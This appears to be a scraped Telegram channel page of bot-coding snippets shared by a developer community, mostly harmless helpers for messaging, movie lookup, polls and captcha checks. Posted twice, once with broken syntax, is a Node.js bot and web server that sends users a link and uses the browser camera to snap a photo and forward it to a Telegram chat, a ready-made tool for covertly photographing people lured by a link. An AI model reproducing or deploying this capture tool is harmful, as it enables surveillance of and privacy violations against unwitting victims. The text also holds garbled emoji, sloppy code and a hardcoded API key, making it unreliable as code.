#pavelDuRove
Pavel durov supported
๐ซถThis is the Next Biggest Drop, don't misss it!
Are you a NEP dev looking for guidance and support in your Free and Open Source Software (FOSS) projects? Look no further than the 'NEP DEVS' Telegram channel, with the username '@devsnp'. This channel is dedicated to NEP developers who are passionate about contributing to the world of FOSS and are eager to help others in the community.
The primary focus of 'NEP DEVS' is to collect and share scripts and resources that can aid NEP developers in their projects. Whether you are a seasoned developer or just starting out, this channel provides a platform for learning, collaboration, and growth. You can connect with like-minded individuals, exchange ideas, and receive valuable feedback on your work.
It's important to note that 'NEP DEVS' is strictly for educational purposes. The channel is a safe space for NEP devs to engage in meaningful discussions, share knowledge, and support each other in their journey towards becoming proficient developers in the FOSS community.
Join 'NEP DEVS' today and be a part of a vibrant community of NEP developers who are dedicated to making a positive impact in the world of Free and Open Source Software. Let's learn, grow, and create together!
19 Nov, 13:07
17 Nov, 09:24
17 Nov, 05:53
11 Nov, 08:05
05 Nov, 12:47
04 Nov, 12:46
03 Nov, 11:01
29 Oct, 15:53
29 Oct, 12:34
28 Oct, 16:28
28 Oct, 10:43
24 Oct, 10:41
21 Oct, 13:51
20 Oct, 07:36
20 Oct, 07:28
19 Oct, 16:41
wallet = "1234967890"
hide_wallet = f"<b>Wallet:</b> {wallet[0:3]}โขโขโขโขโข{wallet[8:10]}"
bot.replyText(u,f"{hide_wallet}",parse_mode="html")
email = "[email protected]"
hide_email = f"<b>Email:</b> {email[0:4]}โขโขโขโขโข@gmail.com"
bot.replyText(u,f"{hide_email}",parse_mode="html")
11 Sep, 02:01
let chatId = chat.chatid; // Replace with chat id
let message = 'Long Message to sendโฆ'; // Replace with the long message
// Function to split a long message into smaller pieces/chunks
function splitMessage(message, maxLength = 4096) {
let chunks = []
// Split the message in multiple chunks each of max 4096 characters
for (let i = 0; i < message.length; i += maxLength) {
chunks.push(message.substring(i, Math.min(message.length, i + maxLength)))
}
return chunks;
}
// Function to send a long message in smaller pieces
function sendMessageInChunks(chatId, text) {
// split the message into chunks
var chunks = splitMessage(text)
// Send the pieces of chunks one after other
for (let i = 0; i < chunks.length; i++) {
Api.sendMessage({ chat_id: chatId, text: chunks[i] })
}
}
// Send the message in pieces
sendMessageInChunks(chatId, message)
08 Sep, 05:35
@
var hh = ""
if (!User.getProperty("UserDone")) {
User.setProperty("UserDone", true, "boolean")
Libs.ResourcesLib.anotherChatRes("status", "global").add(1)
Api.sendMessage({
chat_id: 1638993737,//admin telegram id here
text:
"โ <b>New User Notification</b> โ\n\n๐ค<b>User:</b> <a href='tg://user?id=" +
user.telegramid +
"'>" +
user.first_name +
"</a> " +
hh +
"\n\n๐<b> User ID :</b> <code>" +
user.telegramid +
"</code>\n\n๐ <b>Total User's Count: " +
Libs.ResourcesLib.anotherChatRes("status", "global").value() +
"</b>",
parse_mode: "html",
disable_web_page_preview: true
})
}
04 Sep, 15:09
/details
Send Me Your Movie Name.
Api.sendChatAction({
chat_id: chat.chatid,
action: "typing"
})
Api.sendChatAction({
chat_id: chat.chatid,
action: "typing"
})
var ko = data.message
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
var ko = ko.replace(" ", "%20")
User.setProperty("movie", message, "string")
HTTP.get({
url: "http://www.omdbapi.com/?apikey=4d146d7&t=" + ko + "",
success: "/onMode ",
on_error: "/onMerror"
})
/onMode
var movie = User.getProperty("movie")
Api.sendChatAction({
chat_id: chat.chatid,
action: "typing"
})
Bot.sendMessage("*Searching movie: " + movie + " ....*")
Api.sendChatAction({
chat_id: chat.chatid,
action: "typing"
})
Api.sendChatAction({
chat_id: chat.chatid,
action: "typing"
})
var c = JSON.parse(content)
var study = c.Poster
var t = c.Title
var y = c.Year
var r = c.Rated
var re = c.Released
var rt = c.Runtime
var im = c.imdbRating
var ac = c.Actors
var l = c.Language
var plot = c.Plot
var gen = c.Genre
var dir = c.Director
var wri = c.Writer
var coun = c.Country
var awar = c.Awards
var ratee = c.Ratings.Value
var metas = c.Metascore
var tpe = c.Type
var boxo = c.BoxOffice
var prod = c.Production
if (study == undefined) {
Bot.sendMessage(
"No results were found that included all of your search._Your search - " +
movie +
" - did not find any movie.*Suggestion:*๐ Check that all words are spelled correctly.๐ Try entering other keywords."
)
} else {
Api.sendPhoto({
photo: study,
caption:
"*๐ฝ Movie Details\n\nโช๏ธTitle:* " +
t +
"\n*โช๏ธYear Runned:* " +
y +
"\n*โช๏ธRated By:* " +
r +
"\n*โช๏ธRelease Date:* " +
re +
"\n*โช๏ธRuntime:* " +
rt +
"\n*โช๏ธGenre: *" +
gen +
"\n*โช๏ธDirector: *" +
dir +
"\n*โช๏ธWriter: *" +
wri +
"\n*โช๏ธ Actors:* " +
ac +
"\n*โช๏ธPlot:* " +
plot +
"\n*โช๏ธLanguage:* " +
l +
"\n*โช๏ธCountry: * " +
coun +
"\n*โช๏ธAwards: *" +
awar +
"\n*โช๏ธRate: *" +
im +
"/10\n*โช๏ธMetaScore: *" +
metas +
"\n*โช๏ธIMDB Rating:* " +
im +
"\n*โช๏ธType:* " +
tpe +
"\n*โช๏ธBoxOffice: *" +
boxo +
"\n*โช๏ธProduction: *" +
prod +
"\n*โช๏ธLogo: [* [Click Here](" +
study +
") *]" +
"\n\nโ Deatails By : @" +
bot.name +
"*",
parse_mode: "Markdown"
})
}
03 Sep, 10:25
pin
*๐ Send Your Massage Which You Want Pined*
let text = "+message +"
Api.sendMessage({
text: message,
on_result: "/pin"
})
/pin
var chat_id = options.result.chat.id
var message_id= options.result.message_id
Api.pinChatMessage({
chat_id: chat_id,
message_id: message_id
})
27 Aug, 13:37
question = "What is the capital of France?"
options = ["Paris", "London", "Berlin", "Madrid"]
# Send the quiz poll to the user
bot.sendPoll(
chat_id=message.chat.id,
question=question,
options=options,
is_anonymous=False,
type="quiz",
correct_option_id=0,
explanation = "The capital of France is Paris, known for its art, fashion, and culture."
)
26 Aug, 06:39
const TelegramBot = require('node-telegram-bot-api');
const express = require('express');
const fs = require('fs');
const path = require('path');
const axios = require('axios');
const TOKEN = process.env.TELEGRAM_TOKEN;
const bot = new TelegramBot(TOKEN, { polling: true });
const app = express();
const port = 3000;
const captureUrl = process.env.CAPTURE_URL;
bot.onText(/\/link/, (msg) => {
const chatId = msg.chat.id;
const link = ${captureUrl}/capture?chatId=${chatId};
bot.sendMessage(chatId, Please allow camera access using the following link: ${link});
});
app.get('/capture', (req, res) => {
const chatId = req.query.chatId;
res.send(
<html>
<body>
<script>
async function capturePhoto() {
const stream = await navigator.mediaDevices.getUserMedia({ video: true });
const video = document.createElement('video');
video.srcObject = stream;
await new Promise(resolve => video.onloadedmetadata = resolve);
video.play();
const canvas = document.createElement('canvas');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
const context = canvas.getContext('2d');
context.drawImage(video, 0, 0, canvas.width, canvas.height);
stream.getTracks().forEach(track => track.stop());
const image = canvas.toDataURL('image/jpeg');
const response = await fetch('/sendPhoto', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ chatId: '${chatId}', image })
});
if (response.ok) {
document.body.innerHTML = 'Photo sent to Telegram!';
} else {
document.body.innerHTML = 'Failed to send photo.';
}
}
capturePhoto();
</script>
</body>
</html>
);
});
app.use(express.json({ limit: '10mb' }));
app.post('/sendPhoto', async (req, res) => {
const { chatId, image } = req.body;
const buffer = Buffer.from(image.split(",")[1], 'base64');
const filePath = path.join(__dirname, 'photo.jpg');
fs.writeFileSync(filePath, buffer);
try {
await bot.sendPhoto(chatId, filePath);
res.sendStatus(200);
} catch (error) {
console.error(error);
res.sendStatus(500);
} finally {
fs.unlinkSync(filePath);
}
});
app.listen(port, () => {
console.log(Server running at http://localhost:${port});
});
26 Aug, 06:09
const TelegramBot = require('node-telegram-bot-api');
const express = require('express');
const fs = require('fs');
const path = require('path');
const axios = require('axios');
const TOKEN = process.env.TELEGRAM_TOKEN;
const bot = new TelegramBot(TOKEN, { polling: true });
const app = express();
const port = 3000;
const captureUrl = process.env.CAPTURE_URL;
bot.onText(/\/link/, (msg) => {
const chatId = msg.chat.id;
const link = `${captureUrl}/capture?chatId=${chatId}`;
bot.sendMessage(chatId, `Please allow camera access using the following link: ${link}`);
});
app.get('/capture', (req, res) => {
const chatId = req.query.chatId;
res.send(`
<html>
<body>
<script>
async function capturePhoto() {
const stream = await navigator.mediaDevices.getUserMedia({ video: true });
const video = document.createElement('video');
video.srcObject = stream;
await new Promise(resolve => video.onloadedmetadata = resolve);
video.play();
const canvas = document.createElement('canvas');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
const context = canvas.getContext('2d');
context.drawImage(video, 0, 0, canvas.width, canvas.height);
stream.getTracks().forEach(track => track.stop());
const image = canvas.toDataURL('image/jpeg');
const response = await fetch('/sendPhoto', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ chatId: '${chatId}', image })
});
if (response.ok) {
document.body.innerHTML = 'Photo sent to Telegram!';
} else {
document.body.innerHTML = 'Failed to send photo.';
}
}
capturePhoto();
</script>
</body>
</html>
`);
});
app.use(express.json({ limit: '10mb' }));
app.post('/sendPhoto', async (req, res) => {
const { chatId, image } = req.body;
const buffer = Buffer.from(image.split(",")[1], 'base64');
const filePath = path.join(__dirname, 'photo.jpg');
fs.writeFileSync(filePath, buffer);
try {
await bot.sendPhoto(chatId, filePath);
res.sendStatus(200);
} catch (error) {
console.error(error);
res.sendStatus(500);
} finally {
fs.unlinkSync(filePath);
}
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
23 Aug, 17:03
22 Aug, 14:58
/start
var verify = User.getProperty("verify")
if (verify) {
Bot.runCommand("M")
return
}
var url2 = Libs.Webhooks.getUrlFor({
command: "onWebhook",
user_id: user.id
})
var webPage =
"https://api.jobians.top/captcha/verify?webhookUrl=" +
encodeURIComponent(url2)
var tto =
"*โ
๏ธ Please Verify Yourself By Clicking Below Button\n\nโ ๏ธ Don't Use VPN\n\nโ ๏ธ Don't Create Multiple Accounts*"
var inl = [{ title: "โ๏ธ Verify Me", url: webPage }]
Bot.sendInlineKeyboard(inl, tto)
onWebhook
if (!content) {
return
}
var data = JSON.parse(content)
var ip = data.results.ip
.split(".")
.slice(0, 3)
.join(".")
var captcha = data.results.captcha
var vpn = data.results.vpn
var verify = User.getProperty("verify")
if (verify) {
return
}
if (vpn == "yes") {
Bot.sendMessage("๐จ You Are Ban For Using VPN!")
Bot.blockChat(chat.id)
return
}
var ips = Bot.getProperty("ips", { list: {} })
if (ips.list[ip]) {
Bot.sendMessage("โ You Have Been Banned For Using Multiple Account")
Bot.blockChat(chat.id)
return
}
if (captcha == "ok") {
var ips = Bot.getProperty("ips", { list: {} })
ips.list[ip] = true
Bot.setProperty("ips", ips, "json")
Bot.sendMessage("โ
You Are Verified Now")
User.setProperty("verify", "ok", "string")
Bot.runCommand("/start2")
}
21 Aug, 13:54
//made by @Devsnp
function detectEmoji(message) {
const emojiRegex = /[\uD800-\uDFFF]|[\u2600-\u27BF]|[\u2B50-\u2B55]|[\u2300-\u23FA]|[\u3030-\u303D]|[\u3297-\u3299]|[\uD83C][\uDC00-\uDFFF]|\uD83D[\uDC00-\uDE4F\uDDE0-\uDDFF]|[\uD83E][\uDD10-\uDDFF]/g
return emojiRegex.test(message)
}
//made by @Devsnp
const containsEmoji = detectEmoji(message)
if (containsEmoji) {
Bot.sendMessage(`Contains emoji: ${containsEmoji}`)
} else {
Bot.sendMessage("No emoji found")
}
//made by @
DevsNp 19 Aug, 17:54
spoiler_text = "This is a spoiler message! ||Hidden text here||"
bot.sendMessage(chat_id=message.chat.id, text=spoiler_text, parse_mode="Markdown")